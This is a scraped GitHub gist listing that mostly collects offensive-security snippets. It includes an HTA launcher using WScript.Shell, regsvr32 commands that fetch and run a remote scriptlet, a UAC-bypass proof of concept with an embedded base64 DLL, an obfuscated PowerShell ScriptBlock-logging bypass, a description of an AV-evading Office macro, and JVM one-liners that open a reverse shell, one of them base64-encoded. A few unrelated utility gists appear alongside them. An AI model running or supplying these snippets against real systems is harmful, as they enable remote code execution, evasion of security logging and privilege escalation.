Skip to content

Instantly share code, notes, and snippets.

View jesusninoc's full-sized avatar
👾

Jesús jesusninoc

👾
187 followers · 119 following
View GitHub Profile
@jesusninoc
jesusninoc / calc.hta
Last active January 7, 2018 21:04 — forked from Arno0x/calc.hta
HTML Application example to be executed by mstha.exe
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
@Arno0x
Arno0x / calc.hta
Created November 17, 2017 16:54
HTML Application example to be executed by mstha.exe
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
@Arno0x
Arno0x / regsvr32.sct
Created November 17, 2017 16:52
A scriptlet that can be executed by regsvr32.exe for arbitrary code execution
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
@clavoillotte
clavoillotte / UAC-dotnet-profiler-poc.ps1
Created September 13, 2017 18:16
PoC of UAC bypass with a .NET profiler DLL
# Bypass UAC with a .NET profiler DLL
# GUID, path and content
$GUID = '{' + [guid]::NewGuid() + '}'
$DllPath = $env:TEMP + "\test.dll"
$DllBytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADXHurFk3+ElpN/hJaTf4SWsR+Fl5B/hJaTf4WWkX+EligejJeRf4SWKB6Gl5J/hJZSaWNok3+ElgAAAAAAAAAAUEUAAGSGAwAgMyBZAAAAAAAAAADwACIgCwIOCgACAAAABgAAAAAAAAAQAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAQAAAAAQAAAAAAAACAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAA4CEAACgAAAAAAAAAAAAAAAAwAAAMAAAAAAAAAAAAAAAAAAAAAAAAACAgAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAA7AAAAABAAAAACAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAARgIAAAAgAAAABAAAAAYAAAAAAAAAAAAAAAAAAEAAAEAucGRhdGEAAAwAAAAAMAAAAAIAAAAKAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@cobbr
cobbr / ScriptBlockLogBypass.ps1
Last active August 26, 2025 10:50
ScriptBlock Logging Bypass
# ScriptBlock Logging Bypass
# @cobbr_io
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
@marcgeld
marcgeld / psCompress.ps1
Last active April 11, 2023 09:11
Powershell: Compress and decompress byte array
# Compress and decompress byte array
function Get-CompressedByteArray {
[CmdletBinding()]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[byte[]] $byteArray = $(Throw("-byteArray is required"))
)
Process {
@Arno0x
Arno0x / macro_evade_av_01.vba
Last active October 12, 2023 23:19
' Author Arno0x0x - https://twitter.com/Arno0x0x
'
' This macro downloads an XML bibliography source file.
' The <Title> element of this XML file actually contains a base64 encoded MSOffice template
' which itself contains another malicious macro much more detectable (meterpreter for instance).
'
' The base64 encoded file (payload) is extracted from the XML file, decoded and saved on the temporary folder
' Only then, an new Office Word object is instantiated to load this Office Template and run a specific macro from it.
'
' This macro makes use of very basic tricks to evade potential sandbox analysis, such as popup windows, check of local printers
@clarketm
clarketm / google-dorks
Created January 30, 2017 10:01 — forked from stevenswafford/google-dorks
Listing of a number of useful Google dorks.
" _ _ "
" _ /|| . . ||\ _ "
" ( } \||D ' ' ' C||/ { % "
" | /\__,=_[_] ' . . ' [_]_=,__/\ |"
" |_\_ |----| |----| _/_|"
" | |/ | | | | \| |"
" | /_ | | | | _\ |"
It is all fun and games until someone gets hacked!
@daxian-dbw
daxian-dbw / AnalyzeSelectObject.ps1
Last active January 25, 2025 15:14
AnalyzeSelectObject.ps1: analyze usage of 'Select-Object' to find cases like 'Select-Object -ExcludeProperty value1 -ExpandProperty value2'. SearchGitHub.psm1: search powershell code in GitHub
using namespace System.Management.Automation.Language
param([string]$Path)
$Path = Resolve-Path $Path | % Path
function AnalyzeSelectObjectUsage
{
param(
[Parameter(ValueFromPipelineByPropertyName)]
@frohoff
frohoff / JVM_POST_EXPLOIT.md
Last active December 13, 2023 15:02
JVM Post-Exploitation One-Liners

Nashorn / Rhino:

  • Reverse Shell
$ jrunscript -e 'var host="localhost"; var port=8044; var cmd="cmd.exe"; var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
  • Reverse Shell (Base-64 encoded)
$ jrunscript -e 'eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary("dmFyIGhvc3Q9ImxvY2FsaG9zdCI7IHZhciBwb3J0PTgwNDQ7IHZhciBjbWQ9ImNtZC5leGUiOyB2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKGNtZCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoaG9zdCxwb3J0KTt2YXIgcGk9cC5nZXRJbnB1dFN0cmVhbSgpLHBlPXAuZ2V